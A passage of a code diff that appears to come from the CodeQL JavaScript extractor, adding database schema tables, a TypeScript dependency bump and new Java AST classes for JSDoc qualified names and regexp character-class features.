+@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident;
+
+expr_contains_template_tag_location(
+  int expr: @expr ref,
+  int location: @location ref
+);
+
+@template_placeholder_tag_parent = @xmlelement | @xmlattribute | @file;
+
+template_placeholder_tag_info(
+  unique int node: @template_placeholder_tag,
+  int parentNode: @template_placeholder_tag_parent ref,
+  varchar(900) raw: string ref
+);
+
+// scopes
+scopes (unique int id: @scope,
+        int kind: int ref);
+
+case @scope.kind of
+   0 = @global_scope
+|  1 = @function_scope
+|  2 = @catch_scope
+|  3 = @module_scope
+|  4 = @block_scope
+|  5 = @for_scope
+|  6 = @for_in_scope // for-of scopes work the same as for-in scopes
+|  7 = @comprehension_block_scope
+|  8 = @class_expr_scope
+|  9 = @namespace_scope
+| 10 = @class_decl_scope
+| 11 = @interface_scope
+| 12 = @type_alias_scope
+| 13 = @mapped_type_scope
+| 14 = @enum_scope
+| 15 = @external_module_scope
+| 16 = @conditional_type_scope;
+
+scopenodes (unique int node: @ast_node ref,
+            int scope: @scope ref);
+
+scopenesting (unique int inner: @scope ref,
+              int outer: @scope ref);
+
+// functions
+@function = @function_decl_stmt | @function_expr | @arrow_function_expr;
+
+@parameterized = @function | @catch_clause;
+@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr;
+
+is_generator (int fun: @function ref);
+has_rest_parameter (int fun: @function ref);
+is_async (int fun: @function ref);
+
+// variables and lexically scoped type names
+#keyset[scope, name]
+variables (unique int id: @variable,
+           varchar(900) name: string ref,
+           int scope: @scope ref);
+
+#keyset[scope, name]
+local_type_names (unique int id: @local_type_name,
+                  varchar(900) name: string ref,
+                  int scope: @scope ref);
+
+#keyset[scope, name]
+local_namespace_names (unique int id: @local_namespace_name,
+                       varchar(900) name: string ref,
+                       int scope: @scope ref);
+
+is_arguments_object (int id: @variable ref);
+
+@lexical_name = @variable | @local_type_name | @local_namespace_name;
+
+@bind_id = @varaccess | @local_var_type_access;
+bind (unique int id: @bind_id ref,
+      int decl: @variable ref);
+
+decl (unique int id: @var_decl ref,
+      int decl: @variable ref);
+
+@typebind_id = @local_type_access | @export_varaccess;
+typebind (unique int id: @typebind_id ref,
+          int decl: @local_type_name ref);
+
+@typedecl_id = @type_decl | @var_decl;
+typedecl (unique int id: @typedecl_id ref,
+          int decl: @local_type_name ref);
+
+namespacedecl (unique int id: @var_decl ref,
+               int decl: @local_namespace_name ref);
+
+@namespacebind_id = @local_namespace_access | @export_varaccess;
+namespacebind (unique int id: @namespacebind_id ref,
+               int decl: @local_namespace_name ref);
+
+
+// properties in object literals, property patterns in object patterns, and method declarations in classes
+#keyset[parent, index]
+properties (unique int id: @property,
+            int parent: @property_parent ref,
+            int index: int ref,
+            int kind: int ref,
+            varchar(900) tostring: string ref);
+
+case @property.kind of
+  0 = @value_property
+| 1 = @property_getter
+| 2 = @property_setter
+| 3 = @jsx_attribute
+| 4 = @function_call_signature
+| 5 = @constructor_call_signature
+| 6 = @index_signature
+| 7 = @enum_member
+| 8 = @proper_field
+| 9 = @parameter_field
+| 10 = @static_initializer
+;
+
+@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration;
+@property_accessor = @property_getter | @property_setter;
+@call_signature = @function_call_signature | @constructor_call_signature;
+@field = @proper_field | @parameter_field;
+@field_or_vardeclarator = @field | @var_declarator;
+
+is_computed (int id: @property ref);
+is_method   (int id: @property ref);
+is_static   (int id: @property ref);
+is_abstract_member (int id: @property ref);
+is_const_enum (int id: @enum_declaration ref);
+is_abstract_class (int id: @class_decl_stmt ref);
+
+has_public_keyword (int id: @property ref);
+has_private_keyword (int id: @property ref);
+has_protected_keyword (int id: @property ref);
+has_readonly_keyword (int id: @property ref);
+has_type_keyword (int id: @type_keyword_operand ref);
+is_optional_member (int id: @property ref);
+has_definite_assignment_assertion (int id: @field_or_vardeclarator ref);
+is_optional_parameter_declaration (unique int parameter: @pattern ref);
+
+#keyset[constructor, param_index]
+parameter_fields(
+  unique int field: @parameter_field ref,
+  int constructor: @function_expr ref,
+  int param_index: int ref
+);
+
+// types
+#keyset[parent, idx]
+typeexprs (
+  unique int id: @typeexpr,
+  int kind: int ref,
+  int parent: @typeexpr_parent ref,
+  int idx: int ref,
+  varchar(900) tostring: string ref
+);
+
+case @typeexpr.kind of
+  0 = @local_type_access
+| 1 = @type_decl
+| 2 = @keyword_typeexpr
+| 3 = @string_literal_typeexpr
+| 4 = @number_literal_typeexpr
+| 5 = @boolean_literal_typeexpr
+| 6 = @array_typeexpr
+| 7 = @union_typeexpr
+| 8 = @indexed_access_typeexpr
+| 9 = @intersection_typeexpr
+| 10 = @parenthesized_typeexpr
+| 11 = @tuple_typeexpr
+| 12 = @keyof_typeexpr
+| 13 = @qualified_type_access
+| 14 = @generic_typeexpr
+| 15 = @type_label
+| 16 = @typeof_typeexpr
+| 17 = @local_var_type_access
+| 18 = @qualified_var_type_access
+| 19 = @this_var_type_access
+| 20 = @predicate_typeexpr
+| 21 = @interface_typeexpr
+| 22 = @type_parameter
+| 23 = @plain_function_typeexpr
+| 24 = @constructor_typeexpr
+| 25 = @local_namespace_access
+| 26 = @qualified_namespace_access
+| 27 = @mapped_typeexpr
+| 28 = @conditional_typeexpr
+| 29 = @infer_typeexpr
+| 30 = @import_type_access
+| 31 = @import_namespace_access
+| 32 = @import_var_type_access
+| 33 = @optional_typeexpr
+| 34 = @rest_typeexpr
+| 35 = @bigint_literal_typeexpr
+| 36 = @readonly_typeexpr
+| 37 = @template_literal_typeexpr
+;
+
+@typeref = @typeaccess | @type_decl;
+@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access;
+@typeexpr_parent = @expr | @stmt | @property | @typeexpr;
+@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr;
+@typeaccess = @local_type_access | @qualified_type_access | @import_type_access;
+@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access;
+@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access;
+@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access;
+
+@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr;
+
+// types
+types (
+  unique int id: @type,
+  int kind: int ref,
+  varchar(900) tostring: string ref
+);
+
+#keyset[parent, idx]
+type_child (
+  int child: @type ref,
+  int parent: @type ref,
+  int idx: int ref
+);
+
+case @type.kind of
+  0 = @any_type
+| 1 = @string_type
+| 2 = @number_type
+| 3 = @union_type
+| 4 = @true_type
+| 5 = @false_type
+| 6 = @type_reference
+| 7 = @object_type
+| 8 = @canonical_type_variable_type
+| 9 = @typeof_type
+| 10 = @void_type
+| 11 = @undefined_type
+| 12 = @null_type
+| 13 = @never_type
+| 14 = @plain_symbol_type
+| 15 = @unique_symbol_type
+| 16 = @objectkeyword_type
+| 17 = @intersection_type
+| 18 = @tuple_type
+| 19 = @lexical_type_variable_type
+| 20 = @this_type
+| 21 = @number_literal_type
+| 22 = @string_literal_type
+| 23 = @unknown_type
+| 24 = @bigint_type
+| 25 = @bigint_literal_type
+;
+
+@boolean_literal_type = @true_type | @false_type;
+@symbol_type = @plain_symbol_type | @unique_symbol_type;
+@union_or_intersection_type = @union_type | @intersection_type;
+@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type;
+
+has_asserts_keyword(int node: @predicate_typeexpr ref);
+
+@typed_ast_node = @expr | @typeexpr | @function;
+ast_node_type(
+  unique int node: @typed_ast_node ref,
+  int typ: @type ref);
+
+declared_function_signature(
+  unique int node: @function ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_signature(
+  unique int node: @invokeexpr ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_overload_index(
+  unique int node: @invokeexpr ref,
+  int index: int ref
+);
+
+symbols (
+  unique int id: @symbol,
+  int kind: int ref,
+  varchar(900) name: string ref
+);
+
+symbol_parent (
+  unique int symbol: @symbol ref,
+  int parent: @symbol ref
+);
+
+symbol_module (
+  int symbol: @symbol ref,
+  varchar(900) moduleName: string ref
+);
+
+symbol_global (
+  int symbol: @symbol ref,
+  varchar(900) globalName: string ref
+);
+
+case @symbol.kind of
+  0 = @root_symbol
+| 1 = @member_symbol
+| 2 = @other_symbol
+;
+
+@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type;
+@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference | @external_module_declaration;
+
+ast_node_symbol(
+  unique int node: @ast_node_with_symbol ref,
+  int symbol: @symbol ref);
+
+type_symbol(
+  unique int typ: @type_with_symbol ref,
+  int symbol: @symbol ref);
+
+#keyset[typ, name]
+type_property(
+  int typ: @type ref,
+  varchar(900) name: string ref,
+  int propertyType: @type ref);
+
+type_alias(
+  unique int aliasType: @type ref,
+  int underlyingType: @type ref);
+
+@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type;
+@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type;
+type_literal_value(
+  unique int typ: @type_with_literal_value ref,
+  varchar(900) value: string ref);
+
+signature_types (
+  unique int id: @signature_type,
+  int kind: int ref,
+  varchar(900) tostring: string ref,
+  int type_parameters: int ref,
+  int required_params: int ref
+);
+
+is_abstract_signature(
+  unique int sig: @signature_type ref
+);
+
+signature_rest_parameter(
+  unique int sig: @signature_type ref,
+  int rest_param_arra_type: @type ref
+);
+
+case @signature_type.kind of
+  0 = @function_signature_type
+| 1 = @constructor_signature_type
+;
+
+#keyset[typ, kind, index]
+type_contains_signature (
+  int typ: @type ref,
+  int kind: int ref,  // constructor/call/index
+  int index: int ref, // ordering of overloaded signatures
+  int sig: @signature_type ref
+);
+
+#keyset[parent, index]
+signature_contains_type (
+  int child: @type ref,
+  int parent: @signature_type ref,
+  int index: int ref
+);
+
+#keyset[sig, index]
+signature_parameter_name (
+  int sig: @signature_type ref,
+  int index: int ref,
+  varchar(900) name: string ref
+);
+
+number_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+string_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+base_type_names(
+  int typeName: @symbol ref,
+  int baseTypeName: @symbol ref
+);
+
+self_types(
+  int typeName: @symbol ref,
+  int selfType: @type_reference ref
+);
+
+tuple_type_min_length(
+  unique int typ: @type ref,
+  int minLength: int ref
+);
+
+tuple_type_rest_index(
+  unique int typ: @type ref,
+  int index: int ref
+);
+
+// comments
+comments (unique int id: @comment,
+          int kind: int ref,
+          int toplevel: @toplevel ref,
+          varchar(900) text: string ref,
+          varchar(900) tostring: string ref);
+
+case @comment.kind of
+  0 = @slashslash_comment
+| 1 = @slashstar_comment
+| 2 = @doc_comment
+| 3 = @html_comment_start
+| 4 = @htmlcommentend;
+
+@html_comment = @html_comment_start | @htmlcommentend;
+@line_comment = @slashslash_comment | @html_comment;
+@block_comment = @slashstar_comment | @doc_comment;
+
+// source lines
+lines (unique int id: @line,
+       int toplevel: @toplevel ref,
+       varchar(900) text: string ref,
+       varchar(2) terminator: string ref);
+indentation (int file: @file ref,
+            int lineno: int ref,
+            varchar(1) indentChar: string ref,
+            int indentDepth: int ref);
+
+// JavaScript parse errors
+js_parse_errors (unique int id: @js_parse_error,
+        int toplevel: @toplevel ref,
+        varchar(900) message: string ref,
+        varchar(900) line: string ref);
+
+// regular expressions
+#keyset[parent, idx]
+regexpterm (unique int id: @regexpterm,
+        int kind: int ref,
+        int parent: @regexpparent ref,
+        int idx: int ref,
+        varchar(900) tostring: string ref);
+
+@regexpparent = @regexpterm | @regexp_literal | @string_literal | @add_expr;
+
+case @regexpterm.kind of
+   0 = @regexp_alt
+|  1 = @regexp_seq
+|  2 = @regexp_caret
+|  3 = @regexp_dollar
+|  4 = @regexp_wordboundary
+|  5 = @regexp_nonwordboundary
+|  6 = @regexp_positive_lookahead
+|  7 = @regexp_negative_lookahead
+|  8 = @regexp_star
+|  9 = @regexp_plus
+| 10 = @regexp_opt
+| 11 = @regexp_range
+| 12 = @regexp_dot
+| 13 = @regexp_group
+| 14 = @regexp_normal_constant
+| 15 = @regexp_hex_escape
+| 16 = @regexp_unicode_escape
+| 17 = @regexp_dec_escape
+| 18 = @regexp_oct_escape
+| 19 = @regexp_ctrl_escape
+| 20 = @regexp_char_class_escape
+| 21 = @regexp_id_escape
+| 22 = @regexp_backref
+| 23 = @regexp_char_class
+| 24 = @regexp_char_range
+| 25 = @regexp_positive_lookbehind
+| 26 = @regexp_negative_lookbehind
+| 27 = @regexp_unicode_property_escape
+| 28 = @regexp_quoted_string
+| 29 = @regexp_intersection
+| 30 = @regexp_subtraction;
+
+regexp_parse_errors (unique int id: @regexp_parse_error,
+    int regexp: @regexpterm ref,
+    varchar(900) message: string ref);
+
+@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range;
+@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape;
+@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape;
+@regexp_constant = @regexp_normal_constant | @regexp_char_escape;
+@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead;
+@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind;
+@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind;
+@regexp_anchor = @regexp_dollar | @regexp_caret;
+
+is_greedy (int id: @regexp_quantifier ref);
+range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref);
+range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref);
+is_capture (unique int id: @regexp_group ref, int number: int ref);
+is_named_capture (unique int id: @regexp_group ref, string name: string ref);
+is_inverted (int id: @regexp_char_class ref);
+regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref);
+char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref);
+backref (unique int id: @regexp_backref ref, int value: int ref);
+named_backref (unique int id: @regexp_backref ref, string name: string ref);
+unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref);
+unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref);
+
+// tokens
+#keyset[toplevel, idx]
+tokeninfo (unique int id: @token,
+    int kind: int ref,
+    int toplevel: @toplevel ref,
+    int idx: int ref,
+    varchar(900) value: string ref);
+
+case @token.kind of
+  0 = @token_eof
+| 1 = @token_null_literal
+| 2 = @token_boolean_literal
+| 3 = @token_numeric_literal
+| 4 = @token_string_literal
+| 5 = @token_regular_expression
+| 6 = @token_identifier
+| 7 = @token_keyword
+| 8 = @token_punctuator;
+
+// associate comments with the token immediately following them (which may be EOF)
+next_token (int comment: @comment ref, int token: @token ref);
+
+// JSON
+#keyset[parent, idx]
+json (unique int id: @json_value,
+      int kind: int ref,
+      int parent: @json_parent ref,
+      int idx: int ref,
+      varchar(900) tostring: string ref);
+
+json_literals (varchar(900) value: string ref,
+      varchar(900) raw: string ref,
+      unique int expr: @json_value ref);
+
+json_properties (int obj: @json_object ref,
+      varchar(900) property: string ref,
+      int value: @json_value ref);
+
+json_errors (unique int id: @json_parse_error,
+      varchar(900) message: string ref);
+
+json_locations(unique int locatable: @json_locatable ref,
+      int location: @location_default ref);
+
+case @json_value.kind of
+  0 = @json_null
+| 1 = @json_boolean
+| 2 = @json_number
+| 3 = @json_string
+| 4 = @json_array
+| 5 = @json_object;
+
+@json_parent = @json_object | @json_array | @file;
+
+@json_locatable = @json_value | @json_parse_error;
+
+// locations
+@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr;
+
+@locatable = @file
+    | @ast_node
+    | @comment
+    | @line
+    | @js_parse_error | @regexp_parse_error
+    | @regexpterm
+    | @json_locatable
+    | @token
+    | @cfg_node
+    | @jsdoc | @jsdoc_type_expr | @jsdoc_tag
+    | @yaml_locatable
+    | @xmllocatable
+    | @configLocatable
+    | @template_placeholder_tag;
+
+hasLocation (unique int locatable: @locatable ref,
+    int location: @location ref);
+
+// CFG
+entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref);
+exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref);
+guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref);
+case @guard_node.kind of
+  0 = @falsy_guard
+| 1 = @truthy_guard;
+@condition_guard = @falsy_guard | @truthy_guard;
+
+@synthetic_cfg_node = @entry_node | @exit_node | @guard_node;
+@cfg_node = @synthetic_cfg_node | @expr_parent;
+
+successor (int pred: @cfg_node ref, int succ: @cfg_node ref);
+
+// JSDoc comments
+jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref);
+#keyset[parent, idx]
+jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref,
+            int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref);
+jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+
+#keyset[parent, idx]
+jsdoc_type_exprs (unique int id: @jsdoc_type_expr,
+                  int kind: int ref,
+                  int parent: @jsdoc_type_expr_parent ref,
+                  int idx: int ref,
+                  varchar(900) tostring: string ref);
+case @jsdoc_type_expr.kind of
+    0 = @jsdoc_any_type_expr
+|   1 = @jsdoc_null_type_expr
+|   2 = @jsdoc_undefined_type_expr
+|   3 = @jsdoc_unknown_type_expr
+|   4 = @jsdoc_void_type_expr
+|   5 = @jsdoc_named_type_expr
+|   6 = @jsdoc_applied_type_expr
+|   7 = @jsdoc_nullable_type_expr
+|   8 = @jsdoc_non_nullable_type_expr
+|   9 = @jsdoc_record_type_expr
+|  10 = @jsdoc_array_type_expr
+|  11 = @jsdoc_union_type_expr
+|  12 = @jsdoc_function_type_expr
+|  13 = @jsdoc_optional_type_expr
+|  14 = @jsdoc_rest_type_expr
+;
+
+#keyset[id, idx]
+jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref);
+jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref);
+jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref);
+
+@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag;
+
+jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref);
+
+@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property;
+
+@optionalchainable = @call_expr | @propaccess;
+
+isOptionalChaining(int id: @optionalchainable ref);
+
+/**
+ * The time taken for the extraction of a file.
+ * This table contains non-deterministic content.
+ *
+ * The sum of the `time` column for each (`file`, `timerKind`) pair
+ * is the total time taken for extraction of `file`.  The `extractionPhase`
+ * column provides a granular view of the extraction time of the file.
+ */
+extraction_time(
+  int file : @file ref,
+  // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`.
+  int extractionPhase: int ref,
+  // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds
+  int timerKind: int ref,
+  float time: float ref
+)
+
+/**
+* Non-timing related data for the extraction of a single file.
+* This table contains non-deterministic content.
+*/
+extraction_data(
+  int file : @file ref,
+  // the absolute path to the cache file
+  varchar(900) cacheFile: string ref,
+  boolean fromCache: boolean ref,
+  int length: int ref
+)
+
+/*- YAML -*/
+
+#keyset[parent, idx]
+yaml (unique int id: @yaml_node,
+      int kind: int ref,
+      int parent: @yaml_node_parent ref,
+      int idx: int ref,
+      string tag: string ref,
+      string tostring: string ref);
+
+case @yaml_node.kind of
+  0 = @yaml_scalar_node
+| 1 = @yaml_mapping_node
+| 2 = @yaml_sequence_node
+| 3 = @yaml_alias_node
+;
+
+@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node;
+
+@yaml_node_parent = @yaml_collection_node | @file;
+
+yaml_anchors (unique int node: @yaml_node ref,
+              string anchor: string ref);
+
+yaml_aliases (unique int alias: @yaml_alias_node ref,
+              string target: string ref);
+
+yaml_scalars (unique int scalar: @yaml_scalar_node ref,
+              int style: int ref,
+              string value: string ref);
+
+yaml_errors (unique int id: @yaml_error,
+             string message: string ref);
+
+yaml_locations(unique int locatable: @yaml_locatable ref,
+             int location: @location_default ref);
+
+@yaml_locatable = @yaml_node | @yaml_error;
+
+/*- XML Files -*/
+
+xmlEncoding(
+  unique int id: @file ref,
+  string encoding: string ref
+);
+
+xmlDTDs(
+  unique int id: @xmldtd,
+  string root: string ref,
+  string publicId: string ref,
+  string systemId: string ref,
+  int fileid: @file ref
+);
+
+xmlElements(
+  unique int id: @xmlelement,
+  string name: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlAttrs(
+  unique int id: @xmlattribute,
+  int elementid: @xmlelement ref,
+  string name: string ref,
+  string value: string ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlNs(
+  int id: @xmlnamespace,
+  string prefixName: string ref,
+  string URI: string ref,
+  int fileid: @file ref
+);
+
+xmlHasNs(
+  int elementId: @xmlnamespaceable ref,
+  int nsId: @xmlnamespace ref,
+  int fileid: @file ref
+);
+
+xmlComments(
+  unique int id: @xmlcomment,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int fileid: @file ref
+);
+
+xmlChars(
+  unique int id: @xmlcharacters,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int isCDATA: int ref,
+  int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+  int xmlElement: @xmllocatable ref,
+  int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace;
+
+/*- Configuration files with key value pairs -*/
+
+configs(
+  unique int id: @config
+);
+
+configNames(
+  unique int id: @configName,
+  int config: @config ref,
+  string name: string ref
+);
+
+configValues(
+  unique int id: @configValue,
+  int config: @config ref,
+  string value: string ref
+);
+
+configLocations(
+  int locatable: @configLocatable ref,
+  int location: @location_default ref
+);
+
+@configLocatable = @config | @configName | @configValue;
diff --git a/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/upgrade.properties b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/upgrade.properties
new file mode 100644
index 000000000000..d67984c6ef9e
--- /dev/null
+++ b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/upgrade.properties
@@ -0,0 +1,4 @@
+description: split up qualified names in jsdoc type exprs
+compatibility: backwards
+
+jsdoc_type_exprs.rel: run jsdoc_type_exprs.ql
diff --git a/javascript/extractor/lib/typescript/package-lock.json b/javascript/extractor/lib/typescript/package-lock.json
index 1978e3963246..389cc1d2a5b8 100644
--- a/javascript/extractor/lib/typescript/package-lock.json
+++ b/javascript/extractor/lib/typescript/package-lock.json
@@ -6,7 +6,7 @@
         "": {
             "name": "typescript-parser-wrapper",
             "dependencies": {
-                "typescript": "^5.7.2"
+                "typescript": "^5.8.2"
             },
             "devDependencies": {
                 "@types/node": "18.15.3"
@@ -20,9 +20,9 @@
             "license": "MIT"
         },
         "node_modules/typescript": {
-            "version": "5.7.2",
-            "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.7.2.tgz",
-            "integrity": "sha512-i5t66RHxDvVN40HfDd1PsEThGNnlMCMT3jMUuoh9/0TaqWevNontacunWyN02LA9/fIbEWlcHZcgTKb9QoaLfg==",
+            "version": "5.8.2",
+            "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.8.2.tgz",
+            "integrity": "sha512-aJn6wq13/afZp/jT9QZmwEjDqqvSGp1VT5GVg+f/t6/oVyrgXM6BY1h9BRh/O5p3PlUPAe+WuiEZOmb/49RqoQ==",
             "license": "Apache-2.0",
             "bin": {
                 "tsc": "bin/tsc",
diff --git a/javascript/extractor/lib/typescript/package.json b/javascript/extractor/lib/typescript/package.json
index 9d77f4ab740a..7e0c5fd160d0 100644
--- a/javascript/extractor/lib/typescript/package.json
+++ b/javascript/extractor/lib/typescript/package.json
@@ -2,7 +2,7 @@
     "name": "typescript-parser-wrapper",
     "private": true,
     "dependencies": {
-        "typescript": "^5.7.2"
+        "typescript": "^5.8.2"
     },
     "scripts": {
         "build": "tsc --project tsconfig.json",
diff --git a/javascript/extractor/src/com/semmle/js/ast/MemberExpression.java b/javascript/extractor/src/com/semmle/js/ast/MemberExpression.java
index 5d90a70f04fc..b540decd48e7 100644
--- a/javascript/extractor/src/com/semmle/js/ast/MemberExpression.java
+++ b/javascript/extractor/src/com/semmle/js/ast/MemberExpression.java
@@ -69,4 +69,9 @@ public int getSymbol() {
   public void setSymbol(int symbol) {
     this.symbol = symbol;
   }
+
+  @Override 
+  public boolean isValidTypeExpression() {
+    return object instanceof ITypeExpression && ((ITypeExpression)object).isValidTypeExpression() || object instanceof DynamicImport;
+  }
 }
diff --git a/javascript/extractor/src/com/semmle/js/ast/jsdoc/Identifier.java b/javascript/extractor/src/com/semmle/js/ast/jsdoc/Identifier.java
new file mode 100644
index 000000000000..09b393e2d4cd
--- /dev/null
+++ b/javascript/extractor/src/com/semmle/js/ast/jsdoc/Identifier.java
@@ -0,0 +1,28 @@
+package com.semmle.js.ast.jsdoc;
+
+import com.semmle.js.ast.SourceLocation;
+
+/** An identifier in a JSDoc type. */
+public class Identifier extends JSDocTypeExpression {
+  private final String name;
+
+  public Identifier(SourceLocation loc, String name) {
+    super(loc, "Identifier");
+    this.name = name;
+  }
+
+  @Override
+  public void accept(Visitor v) {
+    v.visit(this);
+  }
+
+  /** The type name. */
+  public String getName() {
+    return name;
+  }
+
+  @Override
+  public String pp() {
+    return name;
+  }
+}
diff --git a/javascript/extractor/src/com/semmle/js/ast/jsdoc/NameExpression.java b/javascript/extractor/src/com/semmle/js/ast/jsdoc/NameExpression.java
deleted file mode 100644
index 94db5d324451..000000000000
--- a/javascript/extractor/src/com/semmle/js/ast/jsdoc/NameExpression.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.semmle.js.ast.jsdoc;
-
-import com.semmle.js.ast.SourceLocation;
-
-/** A named JSDoc type. */
-public class NameExpression extends JSDocTypeExpression {
-  private final String name;
-
-  public NameExpression(SourceLocation loc, String name) {
-    super(loc, "NameExpression");
-    this.name = name;
-  }
-
-  @Override
-  public void accept(Visitor v) {
-    v.visit(this);
-  }
-
-  /** The type name. */
-  public String getName() {
-    return name;
-  }
-
-  @Override
-  public String pp() {
-    return name;
-  }
-}
diff --git a/javascript/extractor/src/com/semmle/js/ast/jsdoc/QualifiedNameExpression.java b/javascript/extractor/src/com/semmle/js/ast/jsdoc/QualifiedNameExpression.java
new file mode 100644
index 000000000000..93bebc6a3584
--- /dev/null
+++ b/javascript/extractor/src/com/semmle/js/ast/jsdoc/QualifiedNameExpression.java
@@ -0,0 +1,35 @@
+package com.semmle.js.ast.jsdoc;
+
+import com.semmle.js.ast.SourceLocation;
+
+/** A qualified name in a JSDoc type. */
+public class QualifiedNameExpression extends JSDocTypeExpression {
+  private final JSDocTypeExpression base;
+  private final Identifier name;
+
+  public QualifiedNameExpression(SourceLocation loc, JSDocTypeExpression base, Identifier name) {
+    super(loc, "QualifiedNameExpression");
+    this.base = base;
+    this.name = name;
+  }
+
+  @Override
+  public void accept(Visitor v) {
+    v.visit(this);
+  }
+
+  /** Returns the expression on the left side of the dot character. */
+  public JSDocTypeExpression getBase() {
+      return base;
+  }
+
+  /** Returns the identifier on the right-hand side of the dot character. */
+  public Identifier getNameNode() {
+    return name;
+  }
+
+  @Override
+  public String pp() {
+    return base.pp() + "." + name.pp();
+  }
+}
diff --git a/javascript/extractor/src/com/semmle/js/ast/jsdoc/Visitor.java b/javascript/extractor/src/com/semmle/js/ast/jsdoc/Visitor.java
index 48a2edda1e74..571a3ed9a625 100644
--- a/javascript/extractor/src/com/semmle/js/ast/jsdoc/Visitor.java
+++ b/javascript/extractor/src/com/semmle/js/ast/jsdoc/Visitor.java
@@ -10,7 +10,9 @@ public interface Visitor {
 
   public void visit(JSDocTag nd);
 
-  public void visit(NameExpression nd);
+  public void visit(Identifier nd);
+
+  public void visit(QualifiedNameExpression nd);
 
   public void visit(NullableLiteral nd);
 
diff --git a/javascript/extractor/src/com/semmle/js/ast/regexp/CharacterClassIntersection.java b/javascript/extractor/src/com/semmle/js/ast/regexp/CharacterClassIntersection.java
new file mode 100644
index 000000000000..5f4917363f56
--- /dev/null
+++ b/javascript/extractor/src/com/semmle/js/ast/regexp/CharacterClassIntersection.java
@@ -0,0 +1,26 @@
+package com.semmle.js.ast.regexp;
+
+import com.semmle.js.ast.SourceLocation;
+import java.util.List;
+
+/**
+ * A character class intersection in a regular expression available only with the `v` flag.
+ * Example: [[abc]&&[ab]&&[b]] matches character `b` only.
+ */
+public class CharacterClassIntersection extends RegExpTerm {
+    private final List<RegExpTerm> elements;
+
+    public CharacterClassIntersection(SourceLocation loc, List<RegExpTerm> elements) {
+        super(loc, "CharacterClassIntersection");
+        this.elements = elements;
+    }
+
+    @Override
+    public void accept(Visitor v) {
+        v.visit(this);
+    }
+
+    public List<RegExpTerm> getElements() {
+        return elements;
+    }
+}
diff --git a/javascript/extractor/src/com/semmle/js/ast/regexp/CharacterClassQuotedString.java b/javascript/extractor/src/com/semmle/js/ast/regexp/CharacterClassQuotedString.java
new file mode 100644
index 000000000000..f4a937b70eb3
--- /dev/null
